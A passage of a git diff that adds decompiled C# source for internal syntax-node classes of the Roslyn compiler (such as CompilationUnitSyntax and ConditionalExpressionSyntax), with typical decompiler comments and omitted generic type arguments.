SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal CommonForEachStatementSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected CommonForEachStatementSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CompilationUnitSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CompilationUnitSyntax.cs new file mode 100644 index 0000000..a79f600 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CompilationUnitSyntax.cs @@ -0,0 +1,240 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CompilationUnitSyntax : CSharpSyntaxNode +{ + internal readonly GreenNode? externs; + + internal readonly GreenNode? usings; + + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? members; + + internal readonly SyntaxToken endOfFileToken; + + public SyntaxList Externs => new SyntaxList(externs); + + public SyntaxList Usings => new SyntaxList(usings); + + public SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxList Members => new SyntaxList(members); + + public SyntaxToken EndOfFileToken => endOfFileToken; + + internal CompilationUnitSyntax(SyntaxKind kind, GreenNode? externs, GreenNode? usings, GreenNode? attributeLists, GreenNode? members, SyntaxToken endOfFileToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfFileToken); + this.endOfFileToken = endOfFileToken; + } + + internal CompilationUnitSyntax(SyntaxKind kind, GreenNode? externs, GreenNode? usings, GreenNode? attributeLists, GreenNode? members, SyntaxToken endOfFileToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfFileToken); + this.endOfFileToken = endOfFileToken; + } + + internal CompilationUnitSyntax(SyntaxKind kind, GreenNode? externs, GreenNode? usings, GreenNode? attributeLists, GreenNode? members, SyntaxToken endOfFileToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfFileToken); + this.endOfFileToken = endOfFileToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => externs, + 1 => usings, + 2 => attributeLists, + 3 => members, + 4 => endOfFileToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCompilationUnit(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCompilationUnit(this); + } + + public CompilationUnitSyntax Update(SyntaxList externs, SyntaxList usings, SyntaxList attributeLists, SyntaxList members, SyntaxToken endOfFileToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (externs != Externs || usings != Usings || attributeLists != AttributeLists || members != Members || endOfFileToken != EndOfFileToken) + { + CompilationUnitSyntax compilationUnitSyntax = SyntaxFactory.CompilationUnit(externs, usings, attributeLists, members, endOfFileToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + compilationUnitSyntax = GreenNodeExtensions.WithDiagnosticsGreen(compilationUnitSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + compilationUnitSyntax = GreenNodeExtensions.WithAnnotationsGreen(compilationUnitSyntax, (IEnumerable)annotations); + } + return compilationUnitSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CompilationUnitSyntax(base.Kind, externs, usings, attributeLists, members, endOfFileToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CompilationUnitSyntax(base.Kind, externs, usings, attributeLists, members, endOfFileToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CompilationUnitSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + externs = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + usings = val2; + } + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + attributeLists = val3; + } + GreenNode val4 = (GreenNode)reader.ReadValue(); + if (val4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val4); + members = val4; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + endOfFileToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)externs); + writer.WriteValue((IObjectWritable)(object)usings); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)members); + writer.WriteValue((IObjectWritable)(object)endOfFileToken); + } + + static CompilationUnitSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CompilationUnitSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CompilationUnitSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalAccessExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalAccessExpressionSyntax.cs new file mode 100644 index 0000000..d0ed1ad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalAccessExpressionSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ConditionalAccessExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken operatorToken; + + internal readonly ExpressionSyntax whenNotNull; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken OperatorToken => operatorToken; + + public ExpressionSyntax WhenNotNull => whenNotNull; + + internal ConditionalAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken operatorToken, ExpressionSyntax whenNotNull, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenNotNull); + this.whenNotNull = whenNotNull; + } + + internal ConditionalAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken operatorToken, ExpressionSyntax whenNotNull, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenNotNull); + this.whenNotNull = whenNotNull; + } + + internal ConditionalAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken operatorToken, ExpressionSyntax whenNotNull) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenNotNull); + this.whenNotNull = whenNotNull; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expression, + 1 => operatorToken, + 2 => whenNotNull, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalAccessExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConditionalAccessExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConditionalAccessExpression(this); + } + + public ConditionalAccessExpressionSyntax Update(ExpressionSyntax expression, SyntaxToken operatorToken, ExpressionSyntax whenNotNull) + { + if (expression != Expression || operatorToken != OperatorToken || whenNotNull != WhenNotNull) + { + ConditionalAccessExpressionSyntax conditionalAccessExpressionSyntax = SyntaxFactory.ConditionalAccessExpression(expression, operatorToken, whenNotNull); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + conditionalAccessExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(conditionalAccessExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + conditionalAccessExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(conditionalAccessExpressionSyntax, (IEnumerable)annotations); + } + return conditionalAccessExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ConditionalAccessExpressionSyntax(base.Kind, expression, operatorToken, whenNotNull, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ConditionalAccessExpressionSyntax(base.Kind, expression, operatorToken, whenNotNull, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ConditionalAccessExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + ExpressionSyntax expressionSyntax2 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax2); + whenNotNull = expressionSyntax2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)whenNotNull); + } + + static ConditionalAccessExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ConditionalAccessExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ConditionalAccessExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..31bc072 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalDirectiveTriviaSyntax.cs @@ -0,0 +1,25 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class ConditionalDirectiveTriviaSyntax : BranchingDirectiveTriviaSyntax +{ + public abstract ExpressionSyntax Condition { get; } + + public abstract bool ConditionValue { get; } + + internal ConditionalDirectiveTriviaSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal ConditionalDirectiveTriviaSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected ConditionalDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalExpressionSyntax.cs new file mode 100644 index 0000000..ef778e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConditionalExpressionSyntax.cs @@ -0,0 +1,171 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ConditionalExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax condition; + + internal readonly SyntaxToken questionToken; + + internal readonly ExpressionSyntax whenTrue; + + internal readonly SyntaxToken colonToken; + + internal readonly ExpressionSyntax whenFalse; + + public ExpressionSyntax Condition => condition; + + public SyntaxToken QuestionToken => questionToken; + + public ExpressionSyntax WhenTrue => whenTrue; + + public SyntaxToken ColonToken => colonToken; + + public ExpressionSyntax WhenFalse => whenFalse; + + internal ConditionalExpressionSyntax(SyntaxKind kind, ExpressionSyntax condition, SyntaxToken questionToken, ExpressionSyntax whenTrue, SyntaxToken colonToken, ExpressionSyntax whenFalse, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenTrue); + this.whenTrue = whenTrue; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenFalse); + this.whenFalse = whenFalse; + } + + internal ConditionalExpressionSyntax(SyntaxKind kind, ExpressionSyntax condition, SyntaxToken questionToken, ExpressionSyntax whenTrue, SyntaxToken colonToken, ExpressionSyntax whenFalse, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenTrue); + this.whenTrue = whenTrue; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenFalse); + this.whenFalse = whenFalse; + } + + internal ConditionalExpressionSyntax(SyntaxKind kind, ExpressionSyntax condition, SyntaxToken questionToken, ExpressionSyntax whenTrue, SyntaxToken colonToken, ExpressionSyntax whenFalse) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenTrue); + this.whenTrue = whenTrue; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenFalse); + this.whenFalse = whenFalse; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => condition, + 1 => questionToken, + 2 => whenTrue, + 3 => colonToken, + 4 => whenFalse, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConditionalExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConditionalExpression(this); + } + + public ConditionalExpressionSyntax Update(ExpressionSyntax condition, SyntaxToken questionToken, ExpressionSyntax whenTrue, SyntaxToken colonToken, ExpressionSyntax whenFalse) + { + if (condition != Condition || questionToken != QuestionToken || whenTrue != WhenTrue || colonToken != ColonToken || whenFalse != WhenFalse) + { + ConditionalExpressionSyntax conditionalExpressionSyntax = SyntaxFactory.ConditionalExpression(condition, questionToken, whenTrue, colonToken, whenFalse); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + conditionalExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(conditionalExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + conditionalExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(conditionalExpressionSyntax, (IEnumerable)annotations); + } + return conditionalExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ConditionalExpressionSyntax(base.Kind, condition, questionToken, whenTrue, colonToken, whenFalse, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ConditionalExpressionSyntax(base.Kind, condition, questionToken, whenTrue, colonToken, whenFalse, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ConditionalExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + questionToken = syntaxToken; + ExpressionSyntax expressionSyntax2 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax2); + whenTrue = expressionSyntax2; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + colonToken = syntaxToken2; + ExpressionSyntax expressionSyntax3 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax3); + whenFalse = expressionSyntax3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)condition); + writer.WriteValue((IObjectWritable)(object)questionToken); + writer.WriteValue((IObjectWritable)(object)whenTrue); + writer.WriteValue((IObjectWritable)(object)colonToken); + writer.WriteValue((IObjectWritable)(object)whenFalse); + } + + static ConditionalExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ConditionalExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ConditionalExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstantPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstantPatternSyntax.cs new file mode 100644 index 0000000..dfab260 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstantPatternSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ConstantPatternSyntax : PatternSyntax +{ + internal readonly ExpressionSyntax expression; + + public ExpressionSyntax Expression => expression; + + internal ConstantPatternSyntax(SyntaxKind kind, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ConstantPatternSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ConstantPatternSyntax(SyntaxKind kind, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)expression; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ConstantPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConstantPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConstantPattern(this); + } + + public ConstantPatternSyntax Update(ExpressionSyntax expression) + { + if (expression != Expression) + { + ConstantPatternSyntax constantPatternSyntax = SyntaxFactory.ConstantPattern(expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + constantPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(constantPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + constantPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(constantPatternSyntax, (IEnumerable)annotations); + } + return constantPatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ConstantPatternSyntax(base.Kind, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ConstantPatternSyntax(base.Kind, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ConstantPatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static ConstantPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ConstantPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ConstantPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorConstraintSyntax.cs new file mode 100644 index 0000000..60d20d7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorConstraintSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ConstructorConstraintSyntax : TypeParameterConstraintSyntax +{ + internal readonly SyntaxToken newKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken NewKeyword => newKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal ConstructorConstraintSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openParenToken, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ConstructorConstraintSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openParenToken, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ConstructorConstraintSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openParenToken, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => newKeyword, + 1 => openParenToken, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorConstraintSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConstructorConstraint(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConstructorConstraint(this); + } + + public ConstructorConstraintSyntax Update(SyntaxToken newKeyword, SyntaxToken openParenToken, SyntaxToken 